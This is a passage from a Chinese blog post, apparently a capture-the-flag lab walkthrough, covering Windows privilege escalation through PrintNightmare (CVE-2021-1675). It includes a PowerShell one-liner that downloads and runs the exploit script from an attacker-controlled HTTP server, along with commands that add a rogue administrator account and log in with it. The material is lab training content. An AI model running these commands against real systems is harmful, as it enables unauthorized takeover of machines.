border-box;">Guest</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;">tony</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;">The</span> <span style="box-sizing: border-box;">command</span> <span style="box-sizing: border-box;">completed</span> <span style="box-sizing: border-box;">with</span> <span style="box-sizing: border-box;">one</span> <span style="box-sizing: border-box;">or</span> <span style="box-sizing: border-box;color: rgb(51, 0, 170);">more</span> <span style="box-sizing: border-box;">errors</span><span style="box-sizing: border-box;">.</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span></pre><h3 cid="n64" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;font-size: 1.5em;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: center;overflow-wrap: break-word !important;"><span data-raw-text="1" data-textnode-index="0" data-index="3" style="outline: 0px;max-width: 100%;color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;box-sizing: border-box !important;overflow-wrap: break-word !important;">0x04 权限提升</span></h3><p cid="n52" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">尝试一些命令，发现这并不是一个cmd.exe而是一个powershell</span></p><pre spellcheck="false" lang="powershell" cid="n53" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(152, 26, 26);">*</span><span style="box-sizing: border-box;">Evil-WinRM</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">*</span> <span style="box-sizing: border-box;color: rgb(51, 0, 170);">PS</span> <span style="box-sizing: border-box;color: rgb(51, 0, 170);">C:</span><span style="box-sizing: border-box;color: red;">\</span><span style="box-sizing: border-box;">Users</span><span style="box-sizing: border-box;color: red;">\</span><span style="box-sizing: border-box;">tony</span><span style="box-sizing: border-box;color: red;">\</span><span style="box-sizing: border-box;">Desktop</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;</span> <span style="box-sizing: border-box;color: rgb(51, 0, 170);">$PSVersionTable</span><span style="box-sizing: border-box;">.</span><span style="box-sizing: border-box;">PSVersion</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;">Major</span>  <span style="box-sizing: border-box;">Minor</span>  <span style="box-sizing: border-box;">Build</span>  <span style="box-sizing: border-box;">Revision</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(152, 26, 26);">-----</span>  <span style="box-sizing: border-box;color: rgb(152, 26, 26);">-----</span>  <span style="box-sizing: border-box;color: rgb(152, 26, 26);">-----</span>  <span style="box-sizing: border-box;color: rgb(152, 26, 26);">--------</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 102, 68);">5</span>      <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>      <span style="box-sizing: border-box;color: rgb(17, 102, 68);">10240</span>  <span style="box-sizing: border-box;color: rgb(17, 102, 68);">17146</span></span></pre><p cid="n54" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">版本还是5,这个版本的服务器版本比较新。几乎和我的服务器差不多</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.19306930693069307" data-s="300,640" style="" data-type="png" data-w="606" src="https://wechat2rss.xlab.app/img-proxy/?k=4d8f36da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpqsjE65mqyEEpafGmQabawiaNTKWA7Vx12icvjA19bcLaeAKVuFys9sgF6IpUpI37DUPwONJwgjQc6g%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">之前打web以为是打印机漏洞，搜索发现最近报错了一个打印机漏洞CVE-2021-1675利用条件是开启这个服务。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.32865907099035935" data-s="300,640" style="" data-type="png" data-w="1141" src="https://wechat2rss.xlab.app/img-proxy/?k=9702ee16&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpqsjE65mqyEEpafGmQabawiauDKre4DGaicYP4oWNpia1OUMFDuZuUaKcJ4T2IpniaSDKGHT9K9qiaZV1Q%2F640%3Fwx_fmt%3Dpng"/></p><p><span md-inline="plain" style="box-sizing: border-box;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"></span><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">使用Powershell下的信息收集，发现也有这个服务。</span></p><p><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.2704918032786885" data-s="300,640" style="" data-type="png" data-w="976" src="https://wechat2rss.xlab.app/img-proxy/?k=d6710f9b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpqsjE65mqyEEpafGmQabawia4Kunia1TlHNUTwf1JQqVBZf6h4g9kR9mrpBFDPOzmChgqReAW1We6XQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n61" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">github上有很多提权脚本，有python、exe、powershell版本</span></p><p cid="n62" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">当前情况比较适合powershell的利用。https://github.com/calebstewart/CVE-2021-1675</span></p><p cid="n63" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">在kali桌面用python开启一个http服务。</span></p><pre spellcheck="false" lang="" cid="n64" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">python3 -m http.server 80</span></pre><p style=""><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">远程加载脚本：</span></p><pre spellcheck="false" lang="" cid="n66" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">IEX(New-Object Net.WebClient).DownloadString(&#34;http://10.10.14.37/CVE-2021-1675.ps1&#34;)</span></pre><pre spellcheck="false" lang="" cid="n68" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Invoke-Nightmare -DriverName &#34;DRIVER&#34; -NewUser &#34;carnival&#34; -NewPassword &#34;carnival.com&#34;</span></pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.1327088212334114" data-s="300,640" style="" data-type="png" data-w="1281" src="https://wechat2rss.xlab.app/img-proxy/?k=b37b1c0b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpqsjE65mqyEEpafGmQabawiaI8IdPriaXZ2QZ1BUIaXxs1BgAl1zGj64nms2oqOQKbhScCxWuGjUiaFg%2F640%3Fwx_fmt%3Dpng"/></p><p><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/></p><p cid="n70" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">runas /user:carnival powershell.exe</span></p><p cid="n71" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">发现无法执行。。。</span></p><p cid="n72" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">用新加的管理员账户连一下。</span></p><pre spellcheck="false" lang="" cid="n73" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">evil-winrm -i 10.10.11.106 -u carnival -p carnival.com</span></pre><p style="text-align: left;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.23700787401574802" data-s="300,640" style="" data-type="png" data-w="1270" src="https://wechat2rss.xlab.app/img-proxy/?k=1b1be758&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpqsjE65mqyEEpafGmQabawiap1kB3D05OpTRWBqNGjR2ib719kTw1CPepibAnQGucYtb8OmPFM5ZaAaQ%2F640%3Fwx_fmt%3Dpng"/><span style="background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;">查看管理员权限：</span></p><p><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3382218148487626" data-s="300,640" style="" data-type="png" data-w="1091" src="https://wechat2rss.xlab.app/img-proxy/?k=10d30997&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpqsjE65mqyEEpafGmQabawian8Yd4MoFEiaf9oEFEJBNlvicfkS3gNhN11CKGs2KCPhwa7StZlAOse1Q%2F640%3Fwx_fmt%3Dpng"/></p><h3 cid="n77" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">后来</span></h3><p cid="n122" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">大佬提示说，上传点会不断进行文件读取！！！</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">Select</span> printer <span class="code-snippet__keyword">model</span> <span class="code-snippet__keyword">and</span> upload the respective firmware <span class="code-snippet__keyword">update</span> <span class="code-snippet__keyword">to</span> our <span class="code-snippet__keyword">file</span> share. Our testing team will review the uploads manually <span class="code-snippet__keyword">and</span> initiates the testing soon.</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#以我英语水平翻译不出来。留下了泪水</span></span></code><code><span class="code-snippet_outer">选择打印机模型，并上传相应固件更新到我们的文件共享。我们的测试团队将手动审查上传，并很快启动测试</span></code></pre><p><br/></p><p><span data-raw-text="喜" data-textnode-index="100" data-index="4639" class="character" style="text-align: left;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);"><span data-raw-text="喜" data-textnode-index="181" data-index="2087" class="character">喜</span></span><span data-raw-text="欢" data-textnode-index="100" data-index="4640" class="character" style="text-align: left;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);"><span data-raw-text="欢" data-textnode-index="182" data-index="2088" class="character">欢</span></span><span data-raw-text="就" data-textnode-index="100" data-index="4641" class="character" style="text-align: left;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);"><span data-raw-text="就" data-textnode-index="183" data-index="2089" class="character">就</span></span><span data-raw-text="请" data-textnode-index="100" data-index="4642" class="character" style="text-align: left;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);"><span data-raw-text="请" data-textnode-index="184" data-index="2090" class="character">请</span></span><span data-raw-text="关" data-textnode-index="100" data-index="4643" class="character" style="text-align: left;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);"><span data-raw-text="关" data-textnode-index="185" data-index="2091" class="character">关</span></span><span data-raw-text="注" data-textnode-index="100" data-index="4644" class="character" style="text-align: left;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);"><span data-raw-text="注" data-textnode-index="186" data-index="2092" class="character">注</span></span><span data-raw-text="我" data-textnode-index="100" data-index="4645" class="character" style="text-align: left;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);"><span data-raw-text="我" data-textnode-index="187" data-index="2093" class="character">我</span></span><span data-raw-text="们" data-textnode-index="100" data-index="4646" class="character" style="text-align: left;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);"><span data-raw-text="们" data-textnode-index="188" data-index="2094" class="character">们</span></span><span data-raw-text="吧" data-textnode-index="100" data-index="4647" class="character" style="text-align: left;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);"><span data-raw-text="吧" data-textnode-index="189" data-index="2095" class="character">吧</span></span><span data-raw-text="！" data-textnode-index="100" data-index="4648" class="character" style="text-align: left;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);"><span data-raw-text="！" data-textnode-index="190" data-index="2096" class="character">！</span></span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.2933333333333332" style="" data-type="gif" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=2e420469&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fpx3YHTjnicppibTy6Giaj7BrGISzEXBO45AibR70Fq9qiaZhJZgFWnB9uQuL3iaDqY6DHm7YogiaicSEmWCiaNfPvZzX5bg%2F640%3Fwx_fmt%3Dgif"/></p><p><br/></p>




]]></content:encoded>
      <pubDate>Sat, 25 Dec 2021 19:30:13 +0800</pubDate>
    </item>
  </channel>
</rss>